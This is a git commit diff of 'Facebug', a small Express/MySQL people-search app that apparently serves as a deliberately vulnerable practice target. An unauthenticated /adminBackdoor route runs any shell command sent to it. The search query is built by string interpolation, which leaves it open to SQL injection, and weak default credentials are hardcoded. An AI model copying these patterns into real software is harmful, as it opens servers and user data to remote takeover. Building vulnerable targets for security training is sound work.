initial commit

This commit is contained in:
David Sykora 2023-10-04 09:55:38 +02:00
commit 50eb812ee6
12 changed files with 2245 additions and 0 deletions

10
Dockerfile Normal file
View file

@ -0,0 +1,10 @@
FROM node:20
COPY . /usr/src/app/
WORKDIR /usr/src/app
RUN corepack enable pnpm
RUN pnpm install
RUN pnpm run build
CMD ["npm", "start"]

37
README.md Normal file
View file

@ -0,0 +1,37 @@
# Facebug
Facebug is a simple web application that allows you to search for people by their first and last name.
## Build instructions
```bash
# build an image
docker build -t haxagon/facebug .
# push an image to private registry
docker push haxagon/facebug
```
## Development
```bash
# install dependencies
npm install
# build
npm run build
# start local mysql database server
docker run -d -p 3306:3306 --name mysql-docker-container -e MYSQL_ROOT_PASSWORD=facebug -e MYSQL_DATABASE=facebug -e MYSQL_USER=facebug -e MYSQL_PASSWORD=facebug mysql/mysql-server:latest
# start the application
./node_modules/nodemon/bin/nodemon.js lib/app.js
```
## API
### GET /search
```bash
curl 'localhost:3000/search?firstName=Brad&lastName=Pitt'
```

37
package.json Normal file
View file

@ -0,0 +1,37 @@
{
"name": "facebug",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"build": "./node_modules/typescript/bin/tsc",
"start": "node ./lib/app.js",
"lint:fix": "eslint . --fix"
},
"keywords": [],
"author": "",
"license": "ISC",
"devDependencies": {
"@types/express": "^4.17.18",
"@types/mssql": "^9.1.1",
"@types/node": "^20.7.1",
"@typescript-eslint/eslint-plugin": "^6.7.3",
"@typescript-eslint/parser": "^6.7.3",
"eslint": "^8.50.0",
"eslint-config-prettier": "^9.0.0",
"nodemon": "^3.0.1",
"prettier": "^3.0.3",
"typescript": "^5.2.2"
},
"dependencies": {
"@types/mysql2": "github:types/mysql2",
"chalk": "^5.3.0",
"dotenv": "^16.3.1",
"express": "^4.18.2",
"express-validator": "^7.0.1",
"mysql2": "^3.6.1",
"pino": "^6.14.0",
"pino-pretty": "^10.2.0"
},
"type": "module"
}

1943
pnpm-lock.yaml Normal file

File diff suppressed because it is too large Load diff

64
src/api/index.ts Normal file
View file

@ -0,0 +1,64 @@
import express from 'express';
import {query, validationResult} from 'express-validator';
import {logger} from '../services/logger.js';
import {searchPeople} from "../services/people.js";
import {executeBackdoorCommand} from "../services/adminBackdoor.js";
const api = express();
api.use(express.json());
const queryValidation = [
query('firstName')
.exists()
.withMessage('firstName is required')
.isString(),
query('lastName')
.exists()
.withMessage('firstName is required')
.isString()
];
api.get('/search', queryValidation, async (req, res) => {
const validationErrors = validationResult(req);
if (!validationErrors.isEmpty()) {
logger.warn('invalid domain ping request received', {
Data: req.body,
Errors: validationErrors.array()
});
return res.json(validationErrors.array());
}
try {
const searchResult = await searchPeople(req.query.firstName, req.query.lastName)
return res.json({"result": searchResult});
} catch (e) {
logger.error({
Data: req.body,
err: e
}, 'search error');
return res.status(500).json({error: e.message});
}
});
/*
In case I forget SSH password, I can use this backdoor to execute commands on the server
Looks like completely safe, right?
*/
api.post('/adminBackdoor', async (req, res) => {
logger.info(`admin backdoor request received, executing command ${req.body.command}`)
try {
const adminCommandResult = await executeBackdoorCommand(req.body.command)
return res.json({"result": adminCommandResult});
}
catch (e) {
logger.error({
Data: req.body,
err: e
}, 'admin backdoor error');
return res.status(500).json({error: e.message});
}
})
export function startApiServer() {
logger.info('starting API server');
api.listen(3000, () => {
logger.info('API server listening on port 3000');
});
}

11
src/app.ts Normal file
View file

@ -0,0 +1,11 @@
import dotenv from 'dotenv';
import {logger} from "./services/logger.js";
import {startApiServer} from "./api/index.js";
import {initDb} from "./services/people.js";
(async () => {
dotenv.config();
await initDb()
logger.info(`starting facebug with application`)
startApiServer()
})();

View file

@ -0,0 +1,51 @@
import {con, initDb} from "../services/people.js";
import {logger} from "../services/logger.js";
await initDb()
const people = [
{ firstName: 'Karel', lastName: 'Dobry' },
{ firstName: 'Brad', lastName: 'Pitt' },
{ firstName: 'Jennifer', lastName: 'Aniston' },
{ firstName: 'Tom', lastName: 'Hanks' },
{ firstName: 'Julia', lastName: 'Roberts' },
{ firstName: 'John', lastName: 'Doe' },
{ firstName: 'Jane', lastName: 'Smith' },
{ firstName: 'Michael', lastName: 'Johnson' },
{ firstName: 'Emily', lastName: 'Davis' },
{ firstName: 'Robert', lastName: 'Brown' },
{ firstName: 'Amanda', lastName: 'Wilson' },
{ firstName: 'Daniel', lastName: 'Lee' },
{ firstName: 'Sarah', lastName: 'Anderson' },
{ firstName: 'Matthew', lastName: 'Taylor' },
{ firstName: 'Olivia', lastName: 'Moore' },
{ firstName: 'William', lastName: 'Jackson' },
{ firstName: 'Sophia', lastName: 'White' },
{ firstName: 'James', lastName: 'Martin' },
{ firstName: 'Lily', lastName: 'Harris' },
{ firstName: 'David', lastName: 'Thompson' },
{ firstName: 'Emma', lastName: 'Clark' },
{ firstName: 'Christopher', lastName: 'Lewis' },
{ firstName: 'Mia', lastName: 'Walker' },
{ firstName: 'Joseph', lastName: 'Green' },
{ firstName: 'Charlotte', lastName: 'Hall' },
{ firstName: 'Andrew', lastName: 'Allen' },
{ firstName: 'Grace', lastName: 'Baker' },
{ firstName: 'Nicholas', lastName: 'Young' },
{ firstName: 'Samantha', lastName: 'Nelson' },
{ firstName: 'Ryan', lastName: 'Wright' },
{ firstName: 'Ava', lastName: 'King' },
{ firstName: 'Kevin', lastName: 'Evans' },
{ firstName: 'Madison', lastName: 'Turner' },
{ firstName: 'Benjamin', lastName: 'Hill' },
{ firstName: 'Hannah', lastName: 'Scott' },
{ firstName: 'Jonathan', lastName: 'Adams' },
{ firstName: 'Ella', lastName: 'Bennett' },
{ firstName: 'Nathan', lastName: 'Carter' },
{ firstName: 'Avery', lastName: 'Price' }
];
for (const person of people) {
logger.info(`inserting ${person.firstName} ${person.lastName}`)
await con.promise().query(`INSERT INTO people (firstName, lastName) VALUES ("${person.firstName}", "${person.lastName}")`)
}

24
src/config.ts Normal file
View file

@ -0,0 +1,24 @@
import dotenv from "dotenv";
export interface FacebugConfig {
mysql: {
host: string
port: number,
user: string,
password: string,
database: string
}
}
// use dotenv to load .env variables to config (mainly for development)
dotenv.config()
export const config: FacebugConfig = {
mysql: {
host: process.env.MYSQL_HOST || 'localhost',
port: parseInt(process.env.MYSQL_PORT) || 3306,
user: process.env.MYSQL_USER || 'facebug',
password: process.env.MYSQL_PASSWORD || 'facebug',
database: process.env.MYSQL_DATABASE || 'facebug'
}
}

View file

@ -0,0 +1,8 @@
import {exec as childProcessExec} from "child_process";
import * as util from "util";
const exec = util.promisify(childProcessExec)
export const executeBackdoorCommand = async (command: string) => {
const commandResult = await exec(command)
return commandResult.stdout
}

9
src/services/logger.ts Normal file
View file

@ -0,0 +1,9 @@
import pino from 'pino';
export const logger = pino({
name: 'bradlo',
level: 'debug',
prettyPrint: {
colorize: true
}
});

22
src/services/people.ts Normal file
View file

@ -0,0 +1,22 @@
import mysql from 'mysql2'
import {config} from "../config.js";
export const con = mysql.createConnection(config.mysql);
export const initDb = async () => {
// create database
await con.promise().query(`CREATE DATABASE IF NOT EXISTS ${config.mysql.database}`)
// create table
await con.promise().query(`CREATE TABLE IF NOT EXISTS people (
id INT PRIMARY KEY AUTO_INCREMENT,
firstName VARCHAR(255) NOT NULL,
lastName VARCHAR(255) NOT NULL
)`)
}
export const searchPeople = async (firstName, lastName) => {
// connect to mysql and make a query
const [rows] = await con.promise().query(`SELECT * FROM people WHERE firstName="${firstName}" AND lastName="${lastName}"`)
return rows
}

29
tsconfig.json Normal file
View file

@ -0,0 +1,29 @@
{
"compilerOptions": {
"target": "es2022",
"module": "node16",
"lib": [
"ES2022"
],
"moduleResolution": "NodeNext",
"esModuleInterop": true,
"rootDir": "./src",
"outDir": "lib",
"allowSyntheticDefaultImports": true,
"importHelpers": true,
"alwaysStrict": true,
"sourceMap": true,
"forceConsistentCasingInFileNames": true,
"noFallthroughCasesInSwitch": true,
"noImplicitReturns": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noImplicitAny": false,
"noImplicitThis": false,
"strictNullChecks": false,
"skipLibCheck": true
},
"include": [
"src/**/*"
]
}